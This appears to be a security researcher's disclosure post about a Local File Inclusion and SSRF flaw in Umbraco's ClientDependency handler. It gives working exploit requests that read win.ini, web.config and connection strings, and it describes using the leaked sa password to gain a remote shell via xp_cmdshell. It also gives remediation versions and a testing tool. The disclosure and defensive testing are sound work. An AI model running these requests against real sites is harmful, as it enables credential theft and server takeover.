Background

In my first post I mentioned a Local File Inclusion vulnerability (LFI) that I discovered in Umbraco without realising it wasn’t patched by the update at the time.

Well, as promised here are the details on how to exploit it. As with anything security related, keeping exploitation details quiet just doesn’t work. The bad guys will find this out anyway, and the good guys that don’t have the time to spare and just want to run their site are left wondering whether they are vulnerable.

Releasing exploitation details enables the vulnerability to be detected by automated scanners, which is a very good thing if you regularly check your systems with such in efforts to improve your own security. At the moment I don’t know of any scanners that detect this vulnerability, except of course AppCheck our own scanner at Sec-1 which we updated to detect this vulnerability. Hopefully more will follow now the details are published.

How to exploit the original vulnerability are here. In a nutshell, Umbraco includes a ClientDependency handler that is accessed as follows:

http://localhost/DependencyHandler.axd?s=ZmlsZTovL2xvY2FsaG9zdC9jJC9XaW5kb3dzL3dpbi5pbmk=&t=CSS&cdv=1

The s parameter is a base64 encoded parameter, normally referencing local file paths of client-side resources to minify or concatenate at run-time (e.g. /assets/foo.js). The Umbraco framework will reference the handler instead of .css and .js files directly, as the handler returns the processed file contents in its HTTP response.

In the above case, the s parameter is file://localhost/c$/Windows/win.ini encoded, which due to the original bug allows the private Windows file to be read and displayed from the HTTP response:

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

There are a few variations on this that may work depending on the server configuration and where Umbraco was originally installed from:

  • C:\Windows\win.ini
  • file://umbraco.example.org/c$/windows/win.ini
  • file://localhost/c$/Windows/win.ini

and also some Remote File Inclusion (RFI) variations where the path is set to e.g. http://google.com and then setting the Host header in the HTTP request to match. This could be used to read from HTTP requests sent to other servers in the web server’s private network or DMZ, or it could be used to turn the Umbraco server into a proxy in order to cover tracks when attacking other systems on the internet. This post in an excellent write-up of this type of vulnerability. I won’t go into any more detail here or further explanations into the original Umbraco vulnerability because the Dionach article already does that very well.

Now, as said, this is addressed by the original patch, but the vulnerability I discovered was a variation on the RFI/SSRF in order to exploit the LFI.

Exploitation

This is surprisingly simple and allows access to any file within the web root that the IIS Application Pool user has read access to. Basically you take the fully qualified URL of the file you want to retrieve, ensuring the host name in the URL matches your Host header, base64 encode it, and then drop it in the s parameter. For unknown reasons, requesting files this way bypasses ASP.NET restrictions on normally private files.

Request before base64’ing: GET /DependencyHandler.axd?s=http://umbraco.example.com/web.config&t=CSS&cdv=1

When we encode and send it we get the following:

web.config retrieval

As you can see, the web.config file is returned, even though this is normally protected by ASP.NET. We can then look for interesting things within this file. The thing that caught my eye on the penetration test I was undertaking was this snippet:

<connectionStrings configSource="config\connectionStrings.config" />

This was of particular interest on this external test because the following had been returned from my earlier port scan:

$ sudo nmap umbraco.example.com

Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-01 09:00 BST
Nmap scan report for umbraco.example.com (xxx.xxx.xxx.xxx)
Host is up (0.00032s latency).
rDNS record for xxx.xxx.xxx.xxx: umbraco.example.com
Not shown: 998 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
1433/tcp open  ms-sql-s
MAC Address: XX:XX:XX:XX:XX:XX (XXXXXX)

Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds

This allowed me to repeat the LFI, this time dropping in http://umbraco.example.com/Config/connectionStrings.config:

Connection strings

The sa (system administrator) username and password for the database, which I can now log into externally. Sweeeeet! In this case it was a double whammy:

  • I could log into the server, enable xp_cmdshell and then get a remote shell (as easy as running this).
  • The Umbraco admin page at http://umbraco.example.com/umbraco/umbraco.aspx also reused this password for the default administrator account.

Remediation

Upgrade your Umbraco to a version newer than 4.11.10, 6.2.6 or 7.2.2, and also ensure that ClientDependency has been upgraded to a version newer than v1.8.2.1.

This is the advisory from Umbraco.

Testing

You can use this tool to test your Umbraco installation:

Base URL
File path to retrieve


Uncheck Is newer exploit? to test C:\Windows\win.ini etc, or check to test http://example.com/web.config. RFI/SSRF cannot be tested using this tool due to the requirement to set a Host header. Ensure that the file path exists on your server and a new tab will open, and if this retrieves the file contents from your server you are vulnerable. The tool works completely client-side, meaning you will be able to use this in order to test development versions of your site on your PC or local network.

I’d be interested to know about any quirks across different versions of Umbraco, and if there are any configuration options that affect the vulnerabilities (either the original or the newer one).